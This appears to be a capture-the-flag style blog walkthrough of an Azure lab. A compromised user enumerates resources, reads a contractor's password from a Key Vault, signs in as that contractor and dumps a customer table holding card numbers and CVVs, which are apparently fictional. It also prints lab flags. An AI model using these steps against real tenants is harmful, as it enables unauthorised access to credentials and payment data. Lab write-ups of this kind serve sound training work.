Post

Unlock Access with Azure Key Vault

Unlock Access with Azure Key Vault

Scenario

After successfully compromising the Azure user account marcus@megabigtech.com and gaining access to their cloud environment, Mega Big Tech have asked us to see how far we can penetrate into the cloud environment, and if we can access any confidential data. Specifically they need us to assess the security of resources associated with the Azure Subscription ID ceff06cb-e29d-4486-a3ae-eaaec5689f94.

Azure Key Vaults, which store sensitive data like secrets and certificates, are high-value targets for attackers aiming to compromise multiple services. Additionally, high-privileged contractor accounts that aren’t properly managed pose a risk for privilege escalation and are also attractive targets for attackers.

Entra ID (previously Azure AD) is the identity provider for Azure subscriptions, meaning it governs who has access to resources within a subscription. In Azure, multiple subscriptions can trust the same Entra ID directory, allowing for centralized management of resources and users.

An Azure subscription is a logical unit of Azure services that is linked to an Azure account. It serves as a single billing unit for Azure resources consumed and provides an isolated environment for resource management. Each Azure subscription has its own set of resource groups, resources, Azure Resource Manager templates, role-based access control policies, and billing settings.

Learning Outcomes:

  • Familiarity with the Azure CLI and PowerShell
  • Enumeration for situational awareness and lateral movement
  • Access secrets in Azure Key Vault
  • Query data in Storage Tables

Walkthrough

We are given credentials for marcus, let’s login az login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─PS> az login
A web browser has been opened at https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize. Please continue the login in the web browser. If no web browser is available or if the web browser fails to open, use device code flow with `az login --use-device-code`.

Retrieving tenants and subscriptions for the selection...

[Tenant and subscription selection]

No     Subscription name            Subscription ID                       Tenant
-----  ---------------------------  ------------------------------------  -----------------
[1] *  Microsoft Azure Sponsorship  ceff06cb-e29d-4486-a3ae-eaaec5689f94  Default Directory

The default is marked with an *; the default tenant is 'Default Directory' and subscription is 'Microsoft Azure Sponsorship' (ceff06cb-e29d-4486-a3ae-eaaec5689f94).

Select a subscription and tenant (Type a number or Enter for no changes): 

Tenant: Default Directory
Subscription: Microsoft Azure Sponsorship (ceff06cb-e29d-4486-a3ae-eaaec5689f94)

[Announcements]
With the new Azure CLI login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271236

If you encounter any problem, please open an issue at https://aka.ms/azclibug

[Warning] The login output has been updated. Please be aware that it no longer displays the full list of available subscriptions by default.

We successfully authenticated, we can confirm it. We can see tenant ID (2590ccef-687d-493b-ae8d-441cbab63a72) and subscription ID (ceff06cb-e29d-4486-a3ae-eaaec5689f94).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─PS> az account show                                                                                                                                                                                                                       
{
  "environmentName": "AzureCloud",
  "homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
  "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
  "isDefault": true,
  "managedByTenants": [],
  "name": "Microsoft Azure Sponsorship",
  "state": "Enabled",
  "tenantDefaultDomain": "megabigtech.com",
  "tenantDisplayName": "Default Directory",
  "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
  "user": {
    "name": "marcus@megabigtech.com",
    "type": "user"
  }
}

Next, we need to work with:

  • Microsoft Graph - provides a unified management layer to create, update, and delete Azure resources (e.g., virtual machines, storage accounts, networks) across subscriptions
  • Azure Resource Manager- is a unified API gateway for querying and managing data across Microsoft 365 services (e.g., Azure Active Directory, Exchange, Teams, OneDrive)
    1
    2
    3
    4
    5
    6
    
    > Install-Module Microsoft.Graph
    > Install-Module Az
    > Import-Module Microsoft.Graph.Users
    > Import-Module Az
    > Connect-MgGraph
    > Connect-AzAccount
    

After connecting to Graph, we can check our session details

1
2
3
4
5
6
7
8
9
└─PS> Connect-MgGraph
Welcome to Microsoft Graph!

Connected via delegated access using 14d82eec-204b-4c2f-b7e8-296a70dab67e
Readme: https://aka.ms/graph/sdk/powershell
SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─PS> Get-MgContext

ClientId               : 14d82eec-204b-4c2f-b7e8-296a70dab67e
TenantId               : 2590ccef-687d-493b-ae8d-441cbab63a72
Scopes                 : {Application.ReadWrite.All, AuditLog.Read.All, Directory.AccessAsUser.All, Directory.Read.All…}
AuthType               : Delegated
TokenCredentialType    : InteractiveBrowser
CertificateThumbprint  : 
CertificateSubjectName : 
SendCertificateChain   : False
Account                : marcus@megabigtech.com
AppName                : Microsoft Graph Command Line Tools
ContextScope           : CurrentUser
Certificate            : 
PSHostVersion          : 7.5.1
ManagedIdentityId      : 
ClientSecret           : 
Environment            : Global

We can also perform whoami with azure cli

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─PS>  az ad signed-in-user show                                                                                                                                                                                                            
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
  "businessPhones": [],
  "displayName": "Marcus Hutch",
  "givenName": "Marcus",
  "id": "41c178d3-c246-4c00-98f0-8113bd631676",
  "jobTitle": "Flag: 39c6217c4a28ba7f3198e5542f9e50c4",
  "mail": null,
  "mobilePhone": null,
  "officeLocation": null,
  "preferredLanguage": null,
  "surname": "Hutch",
  "userPrincipalName": "marcus@megabigtech.com"
}

Since we connected to Graph, we can retrieve group membership of the user

1
2
3
4
5
6
7
└─PS> Get-MgUserMemberOf -userid "marcus@megabigtech.com" | select * -ExpandProperty additionalProperties | Select-Object {$_.AdditionalProperties["displayName"]}                                                                          

$_.AdditionalProperties["displayName"]
--------------------------------------
Directory Readers
Default Directory

We can check if user can access azure resources.

1
└─PS> $CurrentSubscriptionID = "ceff06cb-e29d-4486-a3ae-eaaec5689f94"                                                                                                                                                                       
1
└─PS> $OutputFormat = "table" 
1
└─PS> az account set --subscription $CurrentSubscriptionID
1
2
3
4
└─PS> az resource list -o $OutputFormat                                                                                                                                                                                                     
Name             ResourceGroup     Location    Type                       Status
---------------  ----------------  ----------  -------------------------  --------
ext-contractors  content-static-2  eastus      Microsoft.KeyVault/vaults

We can see that we can access Azure Key Vault named ext-contractors. Azure Key Vault provides a secure and centralized storage solution for cryptographic keys and secrets, such as passwords, certificates and keys used for encryption.

We also can enumerate access via the Azure Portal: https://portal.azure.com/

Available resources can be viewed in All resources page

We can list the content via CLI or via portal page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
└─PS> az keyvault secret list --vault-name "ext-contractors" -o json                                                                                                                                                                        
[
  {
    "attributes": {
      "created": "2023-10-23T17:13:13+00:00",
      "enabled": true,
      "expires": null,
      "notBefore": null,
      "recoverableDays": 90,
      "recoveryLevel": "Recoverable+Purgeable",
      "updated": "2023-10-23T17:13:13+00:00"
    },
    "contentType": null,
    "id": "https://ext-contractors.vault.azure.net/secrets/alissa-suarez",
    "managed": null,
    "name": "alissa-suarez",
    "tags": {}
  },
  {
    "attributes": {
      "created": "2023-10-23T17:12:32+00:00",
      "enabled": true,
      "expires": null,
      "notBefore": null,
      "recoverableDays": 90,
      "recoveryLevel": "Recoverable+Purgeable",
      "updated": "2023-10-23T17:12:32+00:00"
    },
    "contentType": null,
    "id": "https://ext-contractors.vault.azure.net/secrets/josh-harvey",
    "managed": null,
    "name": "josh-harvey",
    "tags": {}
  },
  {
    "attributes": {
      "created": "2023-10-23T17:14:12+00:00",
      "enabled": true,
      "expires": null,
      "notBefore": null,
      "recoverableDays": 90,
      "recoveryLevel": "Recoverable+Purgeable",
      "updated": "2023-10-23T17:14:12+00:00"
    },
    "contentType": null,
    "id": "https://ext-contractors.vault.azure.net/secrets/ryan-garcia",
    "managed": null,
    "name": "ryan-garcia",
    "tags": {}
  }
]

We see 3 entries for: alissa-suarez, josh-harvey and ryan-garcia. We can check if any of those users have Entra ID account.

1
2
3
4
└─PS> az ad user list --query "[?givenName=='Alissa' || givenName=='Josh' || givenName=='Ryan'].{Name:displayName, UPN:userPrincipalName, JobTitle:jobTitle}" -o table                                                                      
Name                      UPN                              JobTitle
------------------------  -------------------------------  ------------------------------------------
Josh Harvey (Consultant)  ext.josh.harvey@megabigtech.com  Consultant (Customer DB Migration Project)

Seems like Josh has one. We can also see that he’s a member of CUSTOMER-DATABASE-ACCESS group

1
2
3
4
5
6
7
└─PS> get-MgUserMemberOf -userid "ext.josh.harvey@megabigtech.com" | select * -ExpandProperty additionalProperties | Select-Object {$_.AdditionalProperties["displayName"]}                                                                 

$_.AdditionalProperties["displayName"]
--------------------------------------
CUSTOMER-DATABASE-ACCESS
Directory Readers
Default Directory

Let’s retrieve Josh’s secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─PS> az keyvault secret show --name "josh-harvey" --vault-name "ext-contractors" -o json                                                                                                                                                   
{
  "attributes": {
    "created": "2023-10-23T17:12:32+00:00",
    "enabled": true,
    "expires": null,
    "notBefore": null,
    "recoverableDays": 90,
    "recoveryLevel": "Recoverable+Purgeable",
    "updated": "2023-10-23T17:12:32+00:00"
  },
  "contentType": null,
  "id": "https://ext-contractors.vault.azure.net/secrets/josh-harvey/c5ec280997564e6da42d44797980c052",
  "kid": null,
  "managed": null,
  "name": "josh-harvey",
  "tags": {},
  "value": "<REDACTED>"
}

Login as Josh and check his roles (need to login via azure cli and also Connect-AzAccount)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─PS> Get-AzRoleAssignment -Scope "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94" | Select-Object DisplayName, RoleDefinitionName                                                                                                     

DisplayName              RoleDefinitionName
-----------              ------------------
Ian Austin               Key Vault Administrator
Marcus Hutch             Key Vault Reader
Marcus Hutch             Key Vault Secrets User
Josh Harvey (Consultant) Reader
CUSTOMER-DATABASE-ACCESS Customer Database Access
IT-HELPDESK              Reader
Clara Miller             Reader
dbuser                   Reader
Ian Austin               Storage Blob Data Owner
Ian Austin               Storage Blob Data Owner

We can confirm that Josh has reader role. We can check role’s permissions, where it shows that we list storage tables and values

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─PS> az role definition list --custom-role-only true --query "[?roleName=='Customer Database Access']" -o json                                                                                                                             
[
  {
    "assignableScopes": [
      "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2"
    ],
    "createdBy": "18600f1a-3cee-434e-860f-aff4078da055",
    "createdOn": "2023-10-23T22:42:46.587891+00:00",
    "description": "Provides access to the Mega Big Tech customer list and information about customers",
    "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/providers/Microsoft.Authorization/roleDefinitions/53c88309-94d8-4b15-9c6b-f64a166f4ef0",
    "name": "53c88309-94d8-4b15-9c6b-f64a166f4ef0",
    "permissions": [
      {
        "actions": [
          "Microsoft.Storage/storageAccounts/tableServices/tables/read"
        ],
        "condition": null,
        "conditionVersion": null,
        "dataActions": [
          "Microsoft.Storage/storageAccounts/tableServices/tables/entities/read"
        ],
        "notActions": [],
        "notDataActions": []
      }
    ],
    "roleName": "Customer Database Access",
    "roleType": "CustomRole",
    "type": "Microsoft.Authorization/roleDefinitions",
    "updatedBy": "18600f1a-3cee-434e-860f-aff4078da055",
    "updatedOn": "2023-10-24T14:10:35.955569+00:00"
  }
]

Let’s retrieve

1
2
3
4
5
6
└─PS> az storage account list --query "[].name" -o tsv
custdatabase
mbtwebsite
securityconfigs


List tables in custdatabase. We can see customers table

1
2
3
4
5
└─PS> az storage table list --account-name custdatabase --output table --auth-mode login                                                                                                                                                    
Name
---------
customers

Let’s retrieve the content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─PS> az storage entity query --table-name customers --account-name custdatabase --output table --auth-mode login                                                                                                                           
PartitionKey    RowKey    Card_expiry    Card_number       Customer_id                           Customer_name                           Cvv
--------------  --------  -------------  ----------------  ------------------------------------  --------------------------------------  -----
1               1         10/30          5425233430109903  07244ad0-c228-43d8-a48e-1846796aa6ad  SecureBank Holdings                     543
1               10        01/30          4347866885036101  cba21bec-7e8d-4394-a145-ea7f6131a998  InnoVenture                             781
1               2         09/29          4012000033330026  66d7a744-5eb6-4b1b-9e70-a36824366534  NeuraHealth                             452
1               3         05/31          4657490028942036  6a88c0ff-b79c-4842-92f1-f25d53c5cbe4  DreamScreen Entertainment               683
1               4         01/29          4657493919180161  14fb331d-a82e-41f8-8f20-d630f312dd3e  InfiNet Solutions                       855
1               5         08/29          4657490203402673  cdf53341-b806-4f69-a1e2-7b632b1d405d  Skyward Aerospace                       344
1               6         12/30          4594045518310163  c6e6418b-fc4e-4f7b-a463-1a3bc6551cd3  Quasar Analytics Inc                    145
1               7         02/29          4594055970518286  fc4f9042-5b94-4a79-b18a-40fa621fe2e1  DataGuard Inc                           243
1               8         06/30          4698558990398121  07a2cfae-16de-41a9-af51-b9cd9f077800  Huge Logistics                          546
1               9         03/30          4698559508013566  512df22d-815f-4f98-92af-a615a92ea39d  SmartMove Robotics                      992
1               99                                                                               Flag: <REDACTED>


This post is licensed under CC BY 4.0 by the author.